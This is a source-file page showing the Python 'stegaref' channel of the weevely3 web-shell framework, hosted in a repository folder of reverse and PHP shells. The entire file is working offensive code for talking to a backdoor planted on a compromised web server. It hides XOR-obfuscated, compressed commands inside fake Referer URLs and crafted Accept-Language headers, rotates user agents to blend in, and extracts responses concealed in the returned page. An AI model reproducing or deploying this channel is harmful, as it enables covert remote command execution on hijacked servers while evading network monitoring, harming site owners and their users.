PageRenderTime 41ms CodeModel.GetById 12ms RepoModel.GetById 0ms app.codeStats 1ms

/Reverse-Shells/Php Shells/weevely3-master/core/channels/stegaref/stegaref.py

https://gitlab.com/surajraghuvanshi/Privlage-Esclator
Python | 374 lines | 296 code | 49 blank | 29 comment | 25 complexity | f910b20958f586ca980a9f12dd4924c6 MD5 | raw file
  1. from core.weexceptions import ChannelException, FatalException
  2. from core.channels.stegaref.formatters import FirstRefererFormat
  3. from core.loggers import dlog
  4. from core import config
  5. from mako.template import Template
  6. import core.messages
  7. import zlib
  8. import hashlib
  9. import base64
  10. import urlparse
  11. import re
  12. import random
  13. import string
  14. import cookielib
  15. import urllib2
  16. import itertools
  17. import utils
  18. import os
  19. referrer_templates_path = os.path.join(
  20. config.weevely_path,
  21. 'core/channels/stegaref/referrers.tpl'
  22. )
  23. languages_list_path = os.path.join(
  24. config.weevely_path,
  25. 'core/channels/stegaref/languages.txt'
  26. )
  27. class StegaRef:
  28. def __init__(self, url, password):
  29. # Generate the 8 char long main key. Is shared with the server and
  30. # used to check header, footer, and encrypt the payload.
  31. self.shared_key = hashlib.md5(password).hexdigest().lower()[:8]
  32. self.url = url
  33. url_parsed = urlparse.urlparse(url)
  34. self.url_base = '%s://%s' % (url_parsed.scheme, url_parsed.netloc)
  35. # init regexp for the returning data
  36. self.re_response = re.compile(
  37. "<%s>(.*)</%s>" %
  38. (self.shared_key[
  39. :8], self.shared_key[
  40. :8]), re.DOTALL)
  41. self.re_debug = re.compile(
  42. "<%sDEBUG>(.*?)</%sDEBUG>" %
  43. (self.shared_key[
  44. :8], self.shared_key[
  45. :8]), re.DOTALL)
  46. # Load and format the referrers templates (payload container)
  47. self.referrers_vanilla = self._load_referrers()
  48. # Load languages (trigger)
  49. self.languages = self._load_languages()
  50. # Load agents
  51. self.agents = utils.http.load_all_agents()
  52. # Init additional headers list
  53. self.additional_headers = config.additional_headers
  54. def send(self, original_payload, additional_handlers = []):
  55. # Generate session id and referrers
  56. session_id, referrers_data = self._prepare(original_payload)
  57. cj = cookielib.CookieJar()
  58. additional_handlers.append(urllib2.HTTPCookieProcessor(cj))
  59. opener = urllib2.build_opener(*additional_handlers)
  60. # When core.conf contains additional cookies, carefully merge
  61. # the new headers killing the needed ones
  62. additional_headers = []
  63. additional_ua = ''
  64. additional_cookie = ''
  65. for h in self.additional_headers:
  66. if h[0].lower() == 'user-agent' and h[1]:
  67. additional_ua = h[1]
  68. if h[0].lower() == 'cookie' and h[1]:
  69. cookies = h[1].rstrip(';').split('; ')
  70. for cookie in cookies:
  71. name, value = cookie.split('=')
  72. cj.set_cookie(
  73. cookielib.Cookie(
  74. version=0,
  75. name=name,
  76. value=value,
  77. port=None, port_specified=False,
  78. domain='',
  79. domain_specified=True,
  80. domain_initial_dot=True, path='/',
  81. path_specified=True, secure=False,
  82. expires=None, discard=True, comment=None,
  83. comment_url=None, rest={'HttpOnly': None}
  84. )
  85. )
  86. elif h[0].lower() in ('accept', 'accept-language', 'referer'):
  87. # Skip sensible headers
  88. pass
  89. else:
  90. additional_headers.append(h)
  91. for referrer_index, referrer_data in enumerate(referrers_data):
  92. accept_language_header = self._generate_header_accept_language(
  93. referrer_data[1],
  94. session_id)
  95. accept_header = self._generate_header_accept()
  96. opener.addheaders = [
  97. ('Referer', referrer_data[0]),
  98. ('Accept-Language', accept_language_header),
  99. ('Accept', accept_header),
  100. ('User-Agent', (
  101. additional_ua if additional_ua else random.choice(self.agents)
  102. )
  103. )
  104. ] + additional_headers
  105. dlog.debug(
  106. '[H %i/%i]\n%s\n[C] %s' %
  107. (
  108. referrer_index,
  109. len(referrers_data) - 1,
  110. '\n'.join('> %s: %s' % (h[0], h[1]) for h in opener.addheaders),
  111. cj
  112. )
  113. )
  114. url = (
  115. self.url if not config.add_random_param_nocache
  116. else utils.http.add_random_url_param(self.url)
  117. )
  118. response = opener.open(url).read()
  119. if not response:
  120. continue
  121. # Multiple debug string may have been printed, using findall
  122. matched_debug = self.re_debug.findall(response)
  123. if matched_debug:
  124. dlog.debug('\n'.join(matched_debug))
  125. matched = self.re_response.search(response)
  126. if matched and matched.group(1):
  127. return zlib.decompress(
  128. utils.strings.sxor(
  129. base64.b64decode(
  130. matched.group(1)),
  131. self.shared_key))
  132. def _prepare(self, payload):
  133. obfuscated_payload = base64.urlsafe_b64encode(
  134. utils.strings.sxor(
  135. zlib.compress(payload),
  136. self.shared_key)).rstrip('=')
  137. # Generate a randomic seession_id that does not conflicts with the
  138. # payload chars
  139. for i in range(30):
  140. session_id = ''.join(
  141. random.choice(
  142. string.ascii_lowercase) for x in range(2))
  143. # Generate 3-character urlsafe_b64encode header and footer
  144. # checkable on server side
  145. header = hashlib.md5(
  146. session_id +
  147. self.shared_key[
  148. :4]).hexdigest().lower()[
  149. :3]
  150. footer = hashlib.md5(
  151. session_id +
  152. self.shared_key[
  153. 4:8]).hexdigest().lower()[
  154. :3]
  155. if (not header in obfuscated_payload and not footer in obfuscated_payload and not (
  156. obfuscated_payload + footer).find(footer) != len(obfuscated_payload)):
  157. break
  158. elif i == 30:
  159. raise ChannelException(
  160. core.messages.stegareferrer.error_generating_id)
  161. remaining_payload = header + obfuscated_payload + footer
  162. dlog.debug('DATA TO SEND: ' + remaining_payload)
  163. dlog.debug('HEADER: %s, FOOTER %s' % (header, footer))
  164. referrers = []
  165. # Randomize the order
  166. random.shuffle(self.referrers_vanilla)
  167. for referrer_index, referrer_vanilla_data in enumerate(itertools.cycle(self.referrers_vanilla)):
  168. # Separate the chunks sizes from the referrers
  169. referrer_vanilla, chunks_sizes_vanilla = referrer_vanilla_data
  170. # Clone chunk size to avoid .pop(0) consuming
  171. chunks_sizes = chunks_sizes_vanilla[:]
  172. # Separate the query from the rest
  173. referrer, query = referrer_vanilla.split('?', 1)
  174. # Apply template on the referrer host
  175. referrer = referrer.replace('http://${ url_base }', self.url_base)
  176. referrer = referrer.replace('http://${ url_agent }', self.url)
  177. referrer += '?'
  178. positions = []
  179. # Loop the parameters
  180. parameters = urlparse.parse_qsl(query)
  181. for parameter_index, content in enumerate(parameters):
  182. param, value = content
  183. # Prepend & to parameters
  184. if parameter_index > 0:
  185. referrer += '&'
  186. # Add the templatized parameters
  187. if not value == '${ chunk }':
  188. referrer += '%s=%s' % (param, value)
  189. else:
  190. # Since the parameters over the ninth can't be indexed, this
  191. # Cause an error.
  192. if parameter_index > 9:
  193. raise ChannelException(
  194. core.messages.stegareferrer.error_chunk_position_i_s %
  195. (parameter_index, referrer_vanilla))
  196. # Pick a proper payload size
  197. min_size, max_size = chunks_sizes.pop(0)
  198. if not remaining_payload:
  199. # If not payload, stuff padding
  200. payload_size = 0
  201. padding_size = random.randint(min_size, max_size)
  202. elif len(remaining_payload) <= min_size:
  203. # Not enough payload, stuff latest payload + padding
  204. payload_size = len(remaining_payload)
  205. padding_size = min_size - payload_size
  206. elif min_size < len(remaining_payload) <= max_size:
  207. # Enough payload to fill properly the parameter, stuff
  208. # payload
  209. payload_size = len(remaining_payload)
  210. padding_size = 0
  211. else:
  212. # Overflowing payload, cut remaining payload to the max
  213. payload_size = max_size
  214. padding_size = 0
  215. # Add crafted parameter
  216. referrer += '%s=%s%s' % (param,
  217. remaining_payload[
  218. :payload_size],
  219. utils.strings.randstr(
  220. padding_size
  221. ))
  222. # If some payload was inserted, add position and cut
  223. # remaining payload
  224. if payload_size:
  225. positions.append(parameter_index)
  226. remaining_payload = remaining_payload[payload_size:]
  227. referrers.append((referrer, positions))
  228. if not remaining_payload:
  229. break
  230. return session_id, referrers
  231. def _load_referrers(self):
  232. referrers_vanilla = []
  233. try:
  234. referrer_file = open(referrer_templates_path)
  235. except Exception as e:
  236. raise FatalException(
  237. core.messages.generic.error_loading_file_s_s %
  238. (referrer_templates_path, str(e)))
  239. for template in referrer_file.read().split('\n'):
  240. if not template.startswith('http'):
  241. continue
  242. referer_format = FirstRefererFormat(self.url)
  243. template_first_formatted = Template(
  244. template).render(tpl=referer_format)
  245. referrers_vanilla.append(
  246. (template_first_formatted, referer_format.chunks_sizes))
  247. return referrers_vanilla
  248. def _load_languages(self):
  249. try:
  250. language_file = open(languages_list_path)
  251. except Exception as e:
  252. raise FatalException(
  253. core.messages.generic.error_loading_file_s_s %
  254. (languages_list_path, str(e)))
  255. languages = language_file.read().split('\n')
  256. # Language list validation, every lower ascii starting letter should be
  257. # covered
  258. import string
  259. for letter in string.ascii_lowercase:
  260. if not any([l for l in languages if l.startswith(letter)]):
  261. raise ChannelException(error_language_start_letter_s % letter)
  262. return languages
  263. def _generate_header_accept_language(self, positions, session_id):
  264. # The total language number will be len(positions) + 1
  265. # Send session_id composing the two first languages
  266. accept_language = '%s,' % (random.choice(
  267. [l for l in self.languages if '-' in l and l.startswith(session_id[0])]))
  268. languages = [
  269. l for l in self.languages if '-' not in l and l.startswith(session_id[1])]
  270. accept_language += '%s;q=0.%i' % (
  271. random.choice(languages), positions[0])
  272. # Add remaining q= positions
  273. for position in positions[1:]:
  274. language = random.choice(languages)
  275. accept_language += ',%s;q=0.%i' % (language, position)
  276. return accept_language
  277. def _generate_header_accept(self):
  278. """Generate an accept header value"""
  279. content_types = [
  280. 'text/html',
  281. 'application/xhtml+xml',
  282. 'application/xml',
  283. 'text/plain'
  284. ]
  285. random.shuffle(content_types)
  286. header = []
  287. # Add first content type
  288. header.append('%s,' % content_types.pop())
  289. # Add some other content types with quality
  290. latest_quality = 9
  291. for r in range(0, random.randint(1, len(content_types))):
  292. header.append('%s;0.%i,' %(content_types.pop(), latest_quality))
  293. latest_quality = random.randint(latest_quality-2, latest_quality)
  294. # Add
  295. header.append('*/*')
  296. return ''.join(header)